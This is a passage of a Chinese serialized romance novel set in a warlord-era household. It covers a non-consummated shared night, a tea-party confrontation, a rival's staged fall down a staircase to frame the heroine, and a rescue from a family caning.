大概是因为处理完了码头事件,再加上江家的识趣让他满意,所以他此刻的心情比平时要好,还跟江浸月开起了玩笑:
“那等会儿夫人先吃,试了没毒,我再吃。”
江浸月轻轻一笑,喊了明婶上菜。
明婶笑容满面地端着一锅炖汤进来,后面跟着辛儿几个丫鬟,她们将菜一一摆上餐桌。
江浸月也过去帮忙放好碗筷。
明婶忽然低声对江浸月道:“等会儿这汤,可以多让督军喝两碗。”
江浸月看了一眼那锅汤,疑惑问:“这是什么汤?”怎么好像有股腥味?
明婶捂嘴偷笑:“是鹿鞭汤啊!那半扇鹿肉里有一条鹿鞭,我亲自炖的汤,最补身体了。”
“哦……”
可江浸月总觉得明婶的笑容有些不太对劲。
她现在对涉及晏山青的事都是高度警戒,生怕身边人行差踏错会牵一发而动全身,连忙问:“为什么这汤一定要让他多喝?”
明婶笑着看自家小姐,她从小在国外长大,接触的都是洋玩意儿,对一些古食谱确实不太了解。
低声对她说:“老祖宗传下来的法子,鹿肉最补阳气,全身上下都是好东西。我看督军今晚也没什么事,你们吃了之后正好圆房。”
江浸月愣了几秒,终于明白过来!
是、是啊,她也看过医书,说过鹿肉最补男人……她之前怎么完全没想起来呢?!
明婶和丫鬟们摆好菜后就出去了,明婶是真心想让他们今晚能成功圆房,出去时还特地把门带上了。
江浸月看着这一桌子的“鹿肉全家福”,什么红烧鹿肉、鹿肉萝卜汤、小炒鹿肉,以及那锅和鸡肉、枸杞一起炖的鹿鞭汤,顿感坐立不安。
这时,晏山青走了过来:“夫人怎么还不坐下吃?”
江浸月原本是想借这顿饭跟晏山青搞好关系的,可现在这样……她都有些不知所措了。
她不自在地坐下,拿起汤碗想帮晏山青盛汤,手迟疑了一下,还是先伸向那碗白萝卜鹿肉汤。
谁知晏山青说:“我不吃白萝卜。”
江浸月眨眨眼:“督军不吃白萝卜?好,我记下了,下次不做这个。”
晏山青随意地说:“小时候吃多了,现在就不爱吃了。还有地瓜、土豆,都不爱吃。”
这些都是乡间田里最常种植的作物,江浸月点头表示自己记下了。
这桌上有两道汤,他不吃白萝卜,那就只能喝那道鹿鞭汤……
江浸月还是给他盛了,轻声说:“如果督军觉得味道不好,我就让小厨房重新做。”
晏山青喝了一口,问:“是什么汤?”
江浸月抿了一下唇,小声说:“鹿……鞭汤。”
晏山青原本正喝着汤,闻言挑起眉,然后抬眼看她,眼眸微眯:“鹿鞭?”
江浸月的耳朵不受控制地红热起来。
晏山青捏着勺子,慢条斯理地搅动着碗里的汤,问:“这也是万家送的?”
“嗯……”
“我本来就觉得万家不是什么好东西,看了这汤后,”晏山青忽地一笑,“更觉得他们不是东西了。”
江浸月茫然地“啊”了一声,有点没明白他的意思。
晏山青似笑非笑:“他们居然觉得我是需要补这些的人。夫人,怎么不替我拒绝了?这传开了,多丢我的面子啊。”
第49章 第一次同床共枕
江浸月被他的话问得耳根发热,十分不自在:“那、那这汤,督军还要喝吗?”
晏山青目光在她泛红的耳垂上停留了一瞬,戏谑地勾唇:“夫人想让我喝吗?”
“……”
江浸月指尖蜷了蜷,她原本没打算今晚跟他圆房,但如果他真的要,她也不会拒绝。
江浸月定了定神,轻声道:“督军趁热喝吧。”
晏山青哼笑一声,将勺子丢回碗里,发出清脆的声响,像是在嘲笑谁:“我还用不上这种东西。”
又补了一句,“太腥了,我闻不惯,叫人撤下去吧。”
江浸月如蒙大赦,连忙唤来明婶。
少了那碗暧昧不明的汤,餐桌上的气氛似乎正常了一点,她重新坐下,陪他用完剩下的饭菜。
饭后,下人撤了碗碟,奉上清茶。
江浸月试探着问了一句:“督军今晚要留下过夜吗?”
晏山青喝了口茶,漫不经心道:“这么晚了,夫人还想让我去哪儿?”
江浸月便明白了:“我去让人准备热水。”
·
垆雪院不止一个可以沐浴的地方。
等江浸月洗完澡,穿着棉质睡衣回到卧室时,晏山青还没回来。
她走到床边坐下,静静等候。
过了一会儿,洗漱完毕的晏山青也走了进来。
他穿着一件黑色的丝质睡袍,腰带松松系着,领口微敞,露出线条分明的锁骨和一片结实的胸膛,皮肤上还带着湿润的水汽,混着皂角的干净气息,却莫名的有些危险。
晏山青随意地抬起眼,看到江浸月端坐在床沿,双手规规矩矩地放在膝盖上,垂着脑袋,一副安静又乖顺的模样,像等待拆封的礼物。
这幅情景,让他想起他们结婚那一晚……眸色不由得深了几分。
他走到江浸月面前,阴影完全将她笼罩。
江浸月感受到他的靠近,抬起头。
灯光下,他身影高大,还有一种强烈的,独属于男性的压迫感。
她已经做好了心理准备,指尖悄悄掐住掌心,轻声开口道:“督军,安寝吧。”
晏山青却没有立刻上床,而是从睡袍的口袋里拿出一个长条形的小盒子,递到她面前。
“送你的。”
江浸月愣了愣,迟疑地接过:“送我的?是什么?”
“打开看看就知道。”晏山青语气随意。
江浸月依言打开盒子,里面竟然是一根翡翠簪子。
簪身通透碧绿,水头极好,顶端雕着一朵含苞待放的玉兰花,工艺十分精湛。
她很是意外:“督军为什么突然送我这个?”
晏山青移开视线,语气听起来有那么点不自在:“谢你上次帮我修好了打火机。”
江浸月指尖抚过冰润的翡翠,心头莫名一动——他是为了谢她,还是因为对打压江家的事有所愧疚,所以变着法儿地给她一点补偿?
不容她深想,晏山青已经伸手关灯。
“睡了。”
突如其来的黑暗放大了所有感官,江浸月感觉到身侧的床垫陷下去,男人的炽热气息逼近过来。
“……”江浸月顺着他压过来的气息躺下,全身不自觉地绷紧,像一张拉满的弓。
然而预想中的重量和触碰却并没有到来。
晏山青只是在她身边躺下,拉过被子盖住两人,手臂不小心碰到她的手臂,肌肤相贴的地方瞬间滚烫,可除此之外,他就没有其他的动作了。
江浸月躺在黑暗中,能听到他近在咫尺的平稳呼吸声,以及自己如擂鼓的心跳声。
他身上的气息无孔不入地侵袭着她的感官,这是她第一次跟除了沈霁禾以外的男人同床共枕。
江浸月又做了很久的心理建设,指尖才敢微微动了动,尝试着主动靠近他一些……但刚碰到他结实坚硬的手臂肌肉,那滚烫的触感和蕴含的力量感就让她心慌意乱,她还是没单子,又迅速撤回手!
……她再早熟,再聪慧,再识大体明是非,再看得清楚局势,可到底也只是一个二十岁的姑娘,真的没那么大的胆子,对一个还不算熟的男人求欢。
算了。
下次吧。
江浸月就在这种紧张、戒备又悸动的情绪里,迷迷糊糊地睡着了。
她不知道的是,在她睡着后,晏山青反而睁开了眼。
他侧过身,支起手臂撑着脑袋,眼睛在黑暗中适应了光线,就这么静静地看着她沉睡的侧颜。
目光掠过她的眉尖,鼻梁,最后停在那微微张开的唇瓣上,眼神幽深难辨。
忽然,江浸月的嘴唇动了动,发出一声极轻的呓语。
晏山青挑眉,无声地凑近了些,想去听清……
江浸月这一夜睡得并不安稳。
睡梦中,她总能感觉到身边有一道存在感极强的热源,还做了许多光怪陆离的梦。
她梦见了沈霁禾。
她跟沈霁禾是娃娃亲,她从小就知道那个温和俊朗的哥哥,将来会是她的夫君。
沈霁禾比她大五岁,小时候待她极好,她也总喜欢跟在他身后,脆生生地喊“霁禾哥哥~”“霁禾哥哥~”。
沈霁禾也总会停下脚步,回头等她,然后牵着她的手,带她去街上买糖人,买完抱着她回家,边走边叮嘱:
“皎皎,糖人要分两天吃,一口吃完的话,牙齿会疼的。”
后来她留洋回来,见识过更广阔更自由的天地,就曾私下对妈妈表露过,想取消婚约的心思,觉得自己的一生不该被这样安排。
但一向慈爱的妈妈,却很严厉地告诉她:“婚约不可能取消,我们江家需要这门婚事。”
乱世之中,庞大的家业需要最牢固的联盟来守护,江家就是很需要沈家。
她那时虽然年纪小,却也用了三天三夜,想明白了自己身为江家女必须背负的责任,最后乖乖披上了嫁衣。
她出嫁那天,是真正的八抬大轿,十里红妆。
沈霁禾骑着高头大马,亲自来到江家迎娶她。
花轿绕着南川城走了一圈,满城百姓围观,街头巷尾都是喜庆的欢笑声。
那场婚礼的排场,往前数十年没有能与之相比的,往后十年恐怕也没有。
沈霁禾给足了她风光,给足了她脸面,让她堂堂正正、风风光光地成了督军夫人。
过门后,沈老夫人就手把手教她掌家,她年纪虽小,但天资聪颖,学什么都很快,不过一年时间就将沈府内务打理得井井有条。
第二年,沈老夫人便放心地将中馈之权彻底交给了她。
可以说,她与沈霁禾的那场婚姻,从头到尾,她没受过一丝一毫的委屈。
……跟如今嫁给晏山青的处境,截然不同。
江浸月心里突然涌起一阵酸涩,一下从梦中惊醒过来。
她睁开眼才发现,天已经亮了。
晏山青也已经起床了,正背对着她站在床边,利落地穿着衬衫。
江浸月手掌撑着床单慢慢坐起身,有些懵懂地望着他。
晏山青正系着袖扣,敏锐地察觉到身后的动静,转过头来看她:
“夫人昨晚睡得可好?”
第50章 督军居然不行吗?!
“……”
江浸月这才完全清醒过来。
看着他还没系好的纽扣,想着自己身为妻子的职责,便从床上下去,赤脚踩在地毯上,走到他面前,抬手帮他扣衬衫纽扣。
“睡得很好。”她抬眼看他,“督军呢,昨晚睡得好吗?”
晏山青垂着眼,看她刚睡醒,头发有些毛毛躁躁的样子,少了平日的知性清冷,多了几分难得的娇憨。
晏山青的语气喜怒难辨:“不是很好。”
江浸月扣纽扣的手指微微一顿,心里咯噔一下:“是我睡觉太闹腾了吗?”
“确实挺闹腾的。”晏山青目光沉沉地看着她,“下次再这样,我就对你不客气了。”
“……”
江浸月不知道他这话是真心威胁还是随口玩笑,只能低下头,专注地扣好每一颗纽扣。
晏山青也没再说什么,整理了一下衣领,便转身出去用早餐,随后离开垆雪院,前往军政处。
巧的是,在军政处门前,正好遇见前来拜访的蒋临泽。
蒋临泽主动颔首致意:“晏督军,早上好。”
晏山青看着他,想到昨晚江浸月含糊不清的几声“哥哥”,眸色沉了沉,意味不明地冷笑一声:
“天气眼看要转冷了,想打只狐狸给我太太做条围脖。蒋先生今天有没有兴趣出城打猎?”
蒋临泽略一沉吟,便笑着应下:“正好。蒋某回来这些时日,还未正式给夫人送过新婚贺礼。今日若能有所收获,正好劳烦督军替我转交。”
“那就走吧。”
晏山青语气平淡,率先迈步。
……
督军府内,明婶满脸喜悦地凑近江浸月,压低声音问:“夫人,昨晚如何?”
她以为晏山青留宿,圆房就是水到渠成的事。
江浸月对她无奈一笑。
明婶一看她这表情,喜悦顿时转为巨大的疑惑和不解,脱口而出:“督军看着年轻力壮的,身材那么凶悍,居然不行吗?”
江浸月正在喝粥,闻言差点呛到,连忙放下勺子:“明婶!我们只是没圆房而已。你怎么就想到那儿去了?”
确实不能怪明婶想到这里去。
江浸月这容貌,这身段,说是南川城里独一份也不为过,晏山青跟她躺在一张床上整整一个晚上,居然能什么都没做……除了他不行,还能什么别的解释?
明婶忧心忡忡。
江浸月好气又好笑,说:“宋知渝都能怀孕,您的担心实在是多虑了。”
明婶闻言,觉得也是,先是松口气,但旋即想到另一个点,更加担心了!
“这、这督军难道是只喜欢宋小姐那一款儿?”所以才不碰江浸月?
这还不如他不行呢!
江浸月:“……”
虽然两人实际上并没有圆房,但晏山青昨夜留宿垆雪院的消息,还是像长了翅膀似的传开了。
不知内情的外人们,自然都以为,督军夫妇终于成了有名有实的真夫妻。
消息传到琼华苑,宋知渝当场就砸了手里的燕窝,紧接着又将梳妆台上的珠宝首饰、脂粉瓶罐全都扫落在地!
丫鬟吓得魂飞魄散,连忙去拦:“小姐!小姐您息怒啊!小心动了胎气!”
宋知渝双目通红,眼神骇人,胸口剧烈起伏着:“圆房了?他们竟然,这么快就圆房了?!”
丫鬟慌张道:“不快不快,这江浸月过门都快三个月了才圆房,不快的!”
哪知道宋知渝听到三个月,反而越恨了,猛地又抓起一个青瓷花瓶,狠狠掼在地上,碎片四溅!
把整个屋子都砸个精光了,她才终于折腾不动了,踉跄着跌坐在地上。
丫鬟慌忙扑过去扶她:“小姐!您有什么气就冲奴婢发,千万别伤着自己啊,您肚子里可还怀着督军府的长子长孙!”
长子长孙……宋知渝神经质地笑了起来,抬手抚上自己的小腹,眼睛里种种情绪疯狂翻涌。
有怨恨,有不甘,也有愤怒。
她死死咬住下唇,从齿缝里慢慢挤出三个字,带着令人胆寒的怨毒:
“江、浸、月!”
……
晚上,晏山青打猎回来,径直去了垆雪院,身上还带着浓重的血腥气,和野外寒风的味道。
江浸月一靠近就被那气味吓了一跳,连忙扶住他的手:“督军?您受伤了??”
“没有。”
晏山青脱下沾了血迹的外套,随手丢给一旁的副官,“打猎时不小心沾染到的畜生血而已。”
江浸月这才松了口气,连忙唤人送热水来给他净手,又吩咐准备洗澡水。
晏山青一边用皂角仔细搓洗手上的血污,一边道:“打了只白狐,毛色还不错,已经交给下面的人去处理了,回头把皮子硝好,给你做条围脖。”
“谢谢督军。”江浸月轻声道谢。
晏山青擦干手,像是随口一提:“也谢谢你哥。蒋临泽打了头棕狐,说给你做手套,还说你从前最怕冷了。”
江浸月立刻想起上次被遣送回娘家的教训,连忙接口:“白狐围脖……督军觉得做成什么样式好?是直接围一圈的短款,还是像围巾那样能绕几圈的长款?”
她表现出对他送的礼物更感兴趣、更上心的样子。
晏山青看着她这副“乖巧”模样,鼻间发出一声哼:“随你喜欢,你喜欢什么样就做什么样。这只狐狸不大,只能做围脖,下次给你打一只熊做件外套。”
江浸月抿唇一笑:“那就提前谢谢督军的外套了。”
之后,晏山青沐浴更衣,一同用了晚饭,收拾停当后,又在垆雪院睡下。
只是,依旧什么都没做。
江浸月后知后觉地咂摸过味儿来,无论是他来垆雪院过夜,还是送她狐狸围脖,恐怕都是在给她做脸面。
而这些,都算是他打压了江家后,给她的那么一点补偿。
想明白这一点后,江浸月心里那点因为他留下和送礼而产生的细微波动,就又平复了下去。
这些脸面,说难听点,就是江家自断臂膀的退让换来的。
但不得不说,晏山青连续两夜留宿垆雪院的消息传开后,督军府里里外外的人对她确实客气恭敬了许多。
连带着,各种邀请她喝下午茶、赴晚宴的帖子,也如雪片般飞进了垆雪院。
江浸月也觉得自己应该多出去走走,带着她督军夫人的名头“招摇过市”,她越有存在感,江家和沈家越安全。
于是,她就在那些帖子里挑挑拣拣,最后选了一张茶话会请柬,应邀前往。
【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次~】
第51章 你敢害死督军的孩子
到了茶话会定好的时间,江浸月便乘车前往那家茶楼。
茶楼位于东大街。
这里也是南川的“时髦地”,开着不少新式店铺。
有卖国外化妆品和香水的百货公司,有装潢颇具情调的咖啡厅,还有洋服店和照相馆等等。
那家茶楼也是中西结合,能现场聆听西洋乐器的演奏,所以颇受夫人小姐们的青睐。
江浸月刚进茶楼,早到的夫人小姐们就立刻热情地围了上来。
“督军夫人来了!”
“夫人快请上座,就等您呢!”
她们脸上堆满热切的笑容,簇拥着她上二楼,到主位坐下,接着就又是为她斟茶,又是为她介绍各色茶点,夸赞奉承的话更是一句接着一句。
江浸月脸上维持着恰到好处的礼貌,心里却觉得有些……可笑。
自从她背负骂名嫁入晏家以来,还是头一回被这么众星捧月地对待。
但她面上不动声色,落落大方地跟大家寒暄,几位夫人凑近她说“体己话”,让她小心提防后院的宋知渝:
“……夫人可千万不能让她抢先生下长子!否则母以子贵,往后怕是要骑到您头上作威作福了!”
江浸月心里清楚,这些人把说私密话当作跟她拉近关系的手段,她要是真信了她们是为自己好,顺势跟她们编排起宋知渝,她们转头就会把她的话传出去。
她没那么天真。
“后院是母亲在打理,母亲自有安排。纳妾生子,督军心里也有数,轮不到我多嘴。”
然后就将话题引开,“李夫人这身料子,是时下最流行的那个吧?”
众人见她口风紧,挖不出什么话,只好跟着聊起衣裳首饰、家长里短。
一位夫人笑道:“说来,我娘家兄弟昨天碰到督军出城了,可是军务繁忙?”
江浸月:“照例巡视军营罢了。”
“真是辛苦,也辛苦了夫人,督军一走就要三四日,夫人可是要思念成疾。”
她们正说笑着,楼梯口传来一阵嘈杂声。
众人转头看去,居然是宋知渝和陈佑宁,以及跟她们交好的几位小姐。
双方正面撞上,气氛微妙地安静了一瞬。
陈佑宁一眼就看到被众星捧月的江浸月,嘴角立刻撇了撇,亲热地挽着宋知渝的手,生怕别人听不见似的大声道:
“知渝姐姐,你现在可是双身子的人,走路千万要当心些,这楼梯陡,可别磕着碰着,伤了我们督军府的长子长孙!”
这话摆明就是说给江浸月听的。
江浸月看着陈佑宁,只觉得玩味儿。
她上次被宋知渝当枪使,居然还不清醒。
宋知渝的手轻轻抚上尚且平坦的小腹,脸上带着一抹羞涩,柔声道:“佑宁妹妹放心,我会小心的。”
江浸月这边桌上,一位急于巴结她的李夫人顿时看不过眼,冷哼一声道:
“怀了孕又如何,没有名分,终究是野路子。说到底还是得看我们督军夫人的,正室嫡出,才是督军府的正经根苗!”
这话可谓是戳心戳肺,宋知渝脸色顿时就不好了。
其他夫人小姐也都笑了起来:“可不是,得意什么呢。”
陈佑宁柳眉倒竖,扭头就要怒骂:“你们——”
“李夫人,”江浸月适时开口,打断着一触即燃的战火,“还是喝茶吧,这君山银针冷了,就涩了。大家都尝尝吧。”
她四两拨千斤,既没接宋知渝那边的招,也没纵容自己这边的口舌之争,将一场即将爆发的争吵按了下去。
但有了这场交锋,两桌人之间已经是暗流涌动。
江浸月吃着一块点心,不小心弄脏了手,用湿毛巾擦了几次都觉得油腻,索性起身说:“我先去洗个手。”
大家纷纷说好。
江浸月便离开餐桌,穿过走廊,走向设在二楼尽头的洗手间。
她正站在洗手台前洗手,身边忽然多了一个人。
江浸月侧头一看,居然是宋知渝。
“夫人现在还真是风光无限啊。”
宋知渝声音柔婉,“刚嫁进晏家那会儿,出门都得督军或者母亲的批准,也要有人在旁监视。这才过了多久,就能想出门就出门,想应酬就应酬,真是今时不同往日。”
“只不过,这小人得志,能得几时好?”
江浸月关掉水龙头,拿起一旁的软毛巾擦手,眼皮都没抬一下:“督军准许,我自然是想做什么就能做什么。倒是宋小姐,怀着身孕就该在府里好好养胎,出来招摇过市做什么?”
宋知渝的语气冷了几分:“我招摇过市?明明是你狐假虎威!仗着督军对你有几分新鲜劲,就忘了自己姓甚名谁,是个二嫁的货色!”
江浸月将毛巾丢进回收筐里,侧过头,正眼看向她,目光清凌凌的:
“宋小姐,我劝你谨言慎行,我过去如何,现在都是督军夫人了,而是你只是一个寄住在我家宋小姐,再胆敢以下犯上对我不敬,”
她勾唇,“我是有资格教训你的——不信试试。”
说完,她转身离开。
宋知渝听着她那番话,再想到从陈家满月宴开始,她备受上流社会追捧,而自己却逐渐沦为笑柄的事,以及晏山青最近对江浸月越来越亲近的态度,一股嫉恨猛地冲上头顶!
她快步追出洗手间,在楼梯口一把抓住江浸月的手臂!
“江浸月!你还敢教训我?你信不信我今天就能让你丢了督军夫人的位置?!”
江浸月猝不及防被她拉住,转身拂开她的手:“宋小姐,大庭广众之下拉拉扯扯,成何体统?”
她根本没有用力,宋知渝眼底闪过一丝决绝和狠厉,脸上瞬间换上惊恐无比的表情,同时爆发出一声极其凄厉的尖叫——
“啊!!!”
然后整个人顺着江浸月的手势向后踉跄几步,脚下一崴,直接从楼梯口摔下去!
“知渝姐姐!!”陈佑宁顿时惊呼!
宋知渝一路惨叫着从二楼滚落下去,重重摔在一楼的地上,旋即蜷缩起身体,痛苦地呻吟起来。
更骇人的是,有鲜红的血液迅速从她身下蔓延开来!
所有人都被这突如其来的一幕惊呆了!
陈佑宁和她的那几个小姐妹最先反应过来,立刻冲下楼梯!
陈佑宁扑到宋知渝身边,看着她身下的血,脸色煞白,再猛地抬头,手指直指还站在楼梯口,一时没反应过来的江浸月!
“江浸月!你竟然敢推知渝姐姐!你害死了表哥的孩子!你死定了!!”
第52章 今天要出大事了
四下先是一片死寂,旋即就炸开锅!
“天啊!血!好多血!”
“孩子……她的孩子肯定保不住了!”
“完了完了!这可是督军的孩子啊!老夫人知道了还得了?!”
刚才还围着江浸月奉承的夫人小姐们,此刻面无人色,瑟瑟发抖,恨不得立刻隐身消失!
有人悄悄往后挪,想趁乱溜走。
“谁都不准走!”
陈佑宁猛地抬头,眼神异常凶狠,指着楼上楼下所有在场的人!
“老板!关门!在我姨母来之前,今天在这儿的,一个都不准放出去!谁走了,谁就是谋害督军子嗣的同谋!”
茶楼老板只觉得天都塌了!
居然在他的地方出了这种事!
事关督军家事,还涉及到子嗣,一个处理得不好,他这茶楼明天就能被拆成废墟!
他连声答应,赶紧让伙计驱散无关的宾客,然后关上大门。
顿时间,茶楼成为审判现场!
江浸月还站在楼梯口,看着这一幕,心脏在最初的猛缩后,又迅速冷静下来。
她也万万没想到,宋知渝竟然这么豁得出去,用这种方式来陷害她!孩子一没,痛失长孙的老夫人绝对不会放过她!
偏偏这死后晏山青又不在……
她心思飞转,然后微微偏头去看刚才最先出声嘲讽宋知渝的李夫人。
李夫人此刻也是惊惶失措,猝不及防对上江浸月的目光,江浸月飞快对她使了个眼色。
李夫人一愣,随即反应过来——她是要她去找督军回来破局?!
她攥紧手里的帕子,她刚才已经公然站队江浸月,如果江浸月倒台,宋知渝和陈佑宁秋后算账,她绝对没好果子吃!
电光火石间,李夫人做出决定,她跟江浸月是一条绳上的蚂蚱,她得帮她脱困!要是这次赌赢了,她以后就是督军夫人的心腹!
她立刻眼睛一翻,短促地“呃”的一声,接着就软软地就朝地上倒去。
“夫人!夫人您怎么了?!”她的丫鬟立刻叫起来,“不好了!我家夫人见血晕倒了!得立刻去看大夫!要不然会出人命的!”
陈佑宁怀里抱着晕死的宋知渝,看了一眼“不省人事”的李夫人,骂了一句:“真是废物!赶紧滚!”
丫鬟连忙和另一个家仆搀起“昏迷”的李夫人,跌跌撞撞地冲向门口。
茶楼老板看向陈佑宁,陈佑宁没好气地一挥手,老板赶紧开门放人。
门一开一合,李夫人被扶上黄包车,车轮刚转动,她立刻睁开眼,哪儿还有半点昏迷的样子?
她急声对车夫道:“别回家了!直接出城!去大营找督军!”
今天怕是要出大事了!
……
老夫人好好的在府里看戏,突然接到出事的消息,差点一口气没提上来,立刻就带着丫鬟婆子赶到茶楼!
一进来,就看到地上已经昏死过去的宋知渝,以及她身下那滩触目惊心的血!
老太太眼前一黑,踉跄一步,被嬷嬷扶住。
“我的孙子……我的孙子啊!”
老夫人捶胸顿足,痛心疾首,“怎么回事?!这到底是怎么回事?!”
陈佑宁立刻指向江浸月:“姨母!就是她!就是江浸月把知渝姐姐从楼上推下来!她害死了表哥的孩子!”
老夫人猛地转向江浸月!
一时间,新仇旧恨一起被点燃,她直接冲上去,抬手就要往江浸月的脸狠狠扇去!
“江浸月!你这个毒妇!你竟然敢做出这种事!”
江浸月迅速抬手,精准地抓住了老夫人的手腕!
她面色沉静,眼神毫不退缩:“母亲息怒!事情并非如此,宋小姐不是我推的,是她自己摔下去的!”
“自己摔下去的?!”
老夫人气得浑身发抖,“你的意思是,知渝不惜弄掉自己肚子里的孩子来冤枉你?!江浸月,你当我们都是傻子吗?!”
江浸月清晰至极:“古往今来,多的是心机深沉之人,利用亲生孩子来嫁祸他人,戏本子里不就经常唱武媚娘捂死亲生女嫁祸王皇后吗?”
但老夫人不听这个,指着她道:“事到如今,你还敢巧言令色,真以为山青宠了你几天,你就可以无法无天,不把我这个婆婆放在眼里了?!”
“先是顶撞忤逆,现在又戕害我晏家的子嗣!你好大的胆子!”
她越说越气,越说越恨,猛地转头一行,“来人!给我把这个毒妇抓起来!重打三十大板!我要让她给我未出世的孙儿偿命!”
“老夫人不可!”
明婶尖叫着冲出来,她原本在垆雪院等着,听说老夫人怒气冲冲地出门,意识到不妙才跟着过来。
她一把护在江浸月身前,扑通跪下!
“老夫人!夫人是督军明媒正娶的正室夫人!怎么能动用杖刑?!那可是处置下人的刑罚啊!求老夫人明察!要罚也是等督军回来再说啊!”
周围的夫人小姐们也倒吸一口冷气,窃窃私语。
三十大板?这是要往死里打啊!就算不死也得残废!
陈佑宁冷笑:“她敢下此毒手,就要承担后果!你一个下人这里有什么资格说话?啊?你仗的是谁的势?是我表哥的?还是他们江家的?”
陈佑宁这边的一位小姐掩唇嘲笑:“呵,江家如今算个什么玩意儿?现在早不是以前的南川了,一个下人还敢在老夫人面前放肆?”
这话更是火上浇油,老夫人厉声道:“压起来!立刻行刑!我看今天谁敢拦!”
几个粗壮的婆子立刻上前要抓江浸月!
江浸月呵斥:“你们胆敢碰我?!”
她到底是坐过两任督军夫人的人,气势凛然,不是这些仆妇敢对抗的,她们一时间不敢上前。
也就在这时,茶楼大门被大力拍响,外面传来焦急的女声:“开门!让我们进去!浸月!浸月你在里面吗?”
茶楼老板从门缝往外一看,连忙回报:“老夫人,是江夫人和江家大少奶奶来了!”
老夫人正在气头上,闻言冷笑:“来得正好!还省得我去江家找他们算账!放她们进来!我倒要看看,他们江家养出这么个毒妇,还有什么脸面说话!”
门开了,江夫人和杨慧敏急匆匆进来。
一进来就看到被几个健壮的婆子围住的江浸月,以及跪在地上,泪流满面哀求的明婶。
江夫人强作镇定,先是上前对老夫人行了个礼,语气尽可能保持尊重:
“亲家母,我们听到消息就赶来了。浸月她绝对做不出那种事,这其中一定有什么误会,还请亲家母息怒,等调查清楚再行决断,以免伤了和气。”
杨慧敏也赶紧福了一福身:“老夫人明鉴,浸月性子温婉,绝对不会主动害人,这里面一定有什么缘由……”
“住口!你们还有脸说什么误会缘由!”
老夫人指着地上的宋知渝,“所有人都亲眼看见,就是江浸月把知渝推下楼!我的孙子现在已经化为一摊血水!这就是你们江家教出来的好女儿!温婉?我看是蛇蝎心肠!”
“噢,我知道了,她敢这么做,就是你们江家在背后教的吧!你们怕知渝生下督军长子,会妨碍到你们江家从我们晏家吸血,所以就指使江浸月杀了我的孙子!”
第53章 蒋临泽开车撞大门
江夫人被这番话气得脸色发青,但仍然努力克制:“亲家母,话不能这么说!我们江家虽说不比以前,但也不至于沦落到要靠女儿来维持前途,所以绝对不会教女儿做这种事!”
“何况,浸月是督军夫人,她就算真的有错,也应该等督军回来再处置!老夫人就算是婆婆也断断没有上来就动刑罚的道理!”
“等什么等!”
老夫人彻底失去耐心,“就是这个毒妇!就是你们江家!今天我非要替晏家清理门户不可!来人!给我打!”
婆子们面面相觑,确实也怕打了夫人,督军来了会处置她们……
但老夫人呵斥:“连我的话都敢不听,不要命了吗?!”
她们的身家性命捏在老夫人手里,到底是不敢再违抗,立刻上前扭住江浸月的胳膊,还有人拿来了长长的板子!
江浸月抿紧了唇,她后来没说话,就是因为知道老夫人本就对她不满,现在没了孙子,更是火上浇油,绝对不会放过她,无论是讲道理还是求情,都没有用,何必白费口舌。
她对母亲和大嫂摇头,让她们不要再做无用功,省得白白被羞辱。
但江夫人和杨慧敏却是不能眼睁睁看着江浸月挨打,眼看对方真的要动手,她们也顾不得什么了,扑上去阻拦。
一时间,现场一片混乱。
喊声、呵斥声、挣扎声交织在一起。
但老夫人那边人多势众,江夫人和杨慧敏来得匆忙带的人不多,被硬生生隔开,江浸月也被强行按在了长椅上。
陈佑宁咬牙切齿,只觉得大快人心!江浸月这个毒妇就该是这个下场!
眼看板子就要落下,江浸月也闭眼准备硬扛这顿毒打,千钧一发之际——
“砰!!”
一声震耳欲聋的巨响猛地从茶楼大门方向轰然传来!
木屑纷飞间,一辆黑色的汽车悍然撞破大门,直接冲了进来!
巨大的冲击和声响让所有人都惊呆了,齐齐惊恐地望向那辆不速之车!
车门被猛地推开。
一道身着西装的高大身影,带着一身凛冽的寒气和无边的戾气,迈步,下车。
蒋临泽目光如同开刃的刀,扫过全场,最终定格在被婆子抓着的江浸月身上。
江浸月惊讶!
“你、你是什么人?!”
老夫人最先从震惊中回过神,惊怒交加地厉声质问,“竟然敢开车闯进来!好大的胆子!”
一旁的江夫人失声喊道:“蒋临泽?!”
老夫人听到这个名字,电光火石间想了起来:“蒋临泽?你就是军政府特派到南川来的那位蒋先生?”
蒋临泽这才将目光从江浸月身上移开,看向老夫人,语气平淡,却自带一股不容小觑的威压:
“是我。”
确认了身份,老夫人才强压下滔天怒火,质问道:“蒋先生,你这是何意?”
蒋临泽嗓音冷冽:“蒋某恰好在这附近公干,听街上的百姓议论,说茶楼里出了人命案,还有人要动用私刑。”
“蒋某既然受命协助督军治理南川,知道这种事,自然不能坐视不管。老夫人,敢问,这里,发生了什么事?”
老夫人听他一副公事公办的口吻,心下稍稍安定:“原来如此。人命官司倒是不至于,只是这个毒妇——”
她指向江浸月,“恶毒!善妒!将怀着我未出世的小孙子的宋知渝推下楼梯,害死了我晏家的长孙!我正要对她执行家法。”
江夫人咬牙道:“她们要打浸月三十板子!这是要活活打死她!”
蒋临泽压住心底怒火,冷冷道:“对一个弱女子重打三十大板,这已经超出家法的范畴,是犯法了。今天被我撞见,那么蒋某就必定要介入查问清楚。”
老夫人听他要干涉,脸色更加难看:“蒋先生,这是我晏家的私事,就算你是军政府特派员,也无权干涉我如何管教儿媳吧?”
“要是涉及伤人或人命,那就不是家事了。”蒋临泽态度强硬,“老夫人,你先冷静,把事情经过说清楚,是非对错,自有律法公道。”
陈佑宁突然凑到老夫人耳边低声道:“姨母,别被他骗了!这个蒋临泽以前是江家养子!他跟江浸月是一伙的!他根本不是来主持公道的,他就是来给江浸月撑腰的!”
老夫人闻言,恍然大悟,看向蒋临泽的眼神瞬间变得怀疑,她冷笑一声,声音尖利:“好啊!我还真当蒋先生是秉公执法呢,原来是假公济私!”
“蒋临泽,你这么急着替江浸月出头,甚至不惜开车闯门,你们到底有什么见不得人的关系?你这么护着她,对得起你军政府特派员的身份吗!”
这话又毒又狠,直戳心窝!
蒋临泽脸色骤然一沉,周身的气压瞬间低得吓人:“老夫人,请注意你的言辞,你现在质疑的不是我个人,而是军政府的公正!你刚才这些话,我可以视为是在藐视军政府,你确定,你承担得起这个后果?”
他更是直接把问题上升到政治层面!
老夫人被他陡然爆发的气势震得心头一颤,一时说不出话,陈佑宁也吓得缩起脖子。
蒋临泽趁势追击:“我今天来,只为公事。如果查清楚真是江浸月所为,我绝不包庇。”
“但如果有人想借机动私刑,诬陷害人,我蒋临泽第一个不答应!”
